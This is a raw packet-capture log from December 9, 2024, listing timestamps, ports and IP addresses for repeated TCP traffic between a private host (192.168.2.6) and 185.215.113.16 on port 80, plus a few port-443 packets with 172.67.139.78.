Dec 9, 2024 21:09:26.489569902 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.490535021 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.490747929 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.490782976 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.491467953 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.491590977 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.491631985 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.492399931 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.492413044 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.492444038 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.493477106 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.493984938 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.494029045 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.494359970 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.494401932 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.494421959 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.495479107 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.495523930 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.495939970 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.496417046 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.496483088 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.496597052 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.496656895 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.497730017 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.497884989 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.497930050 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.498487949 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.498838902 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.498877048 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.499468088 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.499505997 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.499618053 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.499891043 CET	443	49899	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:26.499948025 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.499996901 CET	443	49899	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:26.500111103 CET	49899	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:26.500132084 CET	49899	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:26.500495911 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.500540018 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.500835896 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.500879049 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.501467943 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.501514912 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.501599073 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.501636028 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.502691031 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.502738953 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.502954006 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.503576040 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.503648043 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.503820896 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.503839970 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.503854036 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.504654884 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.504750967 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.504905939 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.505538940 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.505583048 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.570954084 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.571105003 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.571180105 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.571346045 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.571649075 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.571738005 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.572514057 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.572566032 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.572730064 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.573687077 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.573728085 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.573842049 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.573899031 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.573960066 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.574001074 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.574850082 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.574898958 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.574948072 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.574985981 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.575792074 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.575846910 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.576114893 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.576157093 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.576944113 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.576991081 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.577336073 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.577375889 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.577797890 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.577846050 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.578150034 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.578200102 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.578903913 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.578947067 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.579051971 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.579088926 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.579823017 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.579893112 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.579919100 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.579960108 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.656147003 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.656215906 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.656478882 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.656491041 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.656527042 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.656630039 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.656665087 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.656824112 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.656866074 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.657639027 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.657674074 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.657812119 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.657850981 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.658485889 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.658520937 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.658658981 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.658689976 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.659462929 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.659473896 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.659502983 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.659502983 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.660197973 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.660208941 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.660239935 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.661170959 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.661210060 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.661333084 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.661369085 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.662081003 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.662111998 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.662276983 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.662307978 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.662933111 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.662971020 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.663264036 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.663295984 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.663453102 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.663470984 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.663486958 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.663503885 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.664666891 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.664704084 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.665039062 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.665080070 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.665349960 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.665384054 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.665543079 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.665582895 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.666207075 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.666245937 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.666553020 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.666589022 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.667412996 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.667455912 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.667592049 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.667627096 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.668212891 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.668224096 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.668256998 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.668792009 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.668808937 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.668822050 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.668833017 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.668836117 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.668850899 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.668879032 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.669354916 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.669367075 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.669395924 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.670243025 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.670284033 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.670352936 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.670393944 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.671052933 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.671094894 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.671330929 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.671377897 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.671926022 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.671964884 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.672194004 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.672234058 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.672840118 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.672883034 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.673126936 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.673163891 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.673768044 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.673779964 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.673810959 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.673825026 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.674540997 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.674581051 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.674683094 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.674726963 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.675359964 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.675399065 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.675481081 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.675539017 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.676256895 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.676295042 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.676397085 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.676434040 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.677134037 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.677170992 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.677242041 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.677278996 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.678033113 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.678077936 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.678284883 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.678343058 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.678957939 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.678997040 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.679037094 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.679073095 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.679708004 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.679719925 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.679748058 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.679757118 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.680510998 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.680555105 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.680675030 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.680713892 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.681391001 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.681430101 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.681941032 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.681976080 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.683357000 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.683397055 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.685858011 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.685902119 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.686181068 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.686192036 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.686203003 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.686213970 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.686219931 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.686224937 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.686234951 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.686239004 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.686266899 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.687014103 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.687050104 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.687197924 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.687233925 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.688409090 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.688421965 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.688517094 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.688517094 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.688710928 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.688746929 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.689208984 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.689245939 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.689733982 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.689745903 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.689770937 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.689781904 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.690315962 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.690351963 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.690484047 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.690520048 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.691421032 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.691458941 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.691797972 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.691809893 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.691824913 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.691838026 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.691838026 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.691854000 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.763855934 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.763927937 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.764173985 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.764183998 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.764215946 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.764226913 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.764349937 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.764389038 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.765047073 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.765058041 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.765083075 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.765099049 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.765144110 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.765360117 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.765372038 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.765408993 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.765419006 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.765533924 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.765569925 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.766169071 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.766215086 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.766279936 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.766315937 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.767035961 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.767086029 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.767626047 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.767721891 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.768024921 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.768037081 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.768064976 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.768075943 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.768836975 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.768886089 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.768924952 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.768960953 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.769603968 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.769653082 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.769922972 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.769963026 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.770484924 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.770528078 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.770893097 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.770970106 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.847573042 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.847637892 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.847892046 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.847903013 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.847917080 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.847932100 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.847959042 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.848959923 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.848999023 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.849422932 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.849443913 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.849455118 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.849462032 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.849478006 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.849499941 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.850459099 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.850470066 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.850497007 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.850507021 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.851382971 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.851393938 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.851423979 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.851433992 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.852051020 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.852096081 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.852138996 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.852175951 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.852807999 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.852844954 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.853076935 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.853113890 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.853811979 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:26.853852034 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:26.853880882 CET	80	49898	185.215.113.16	192.168.2.6
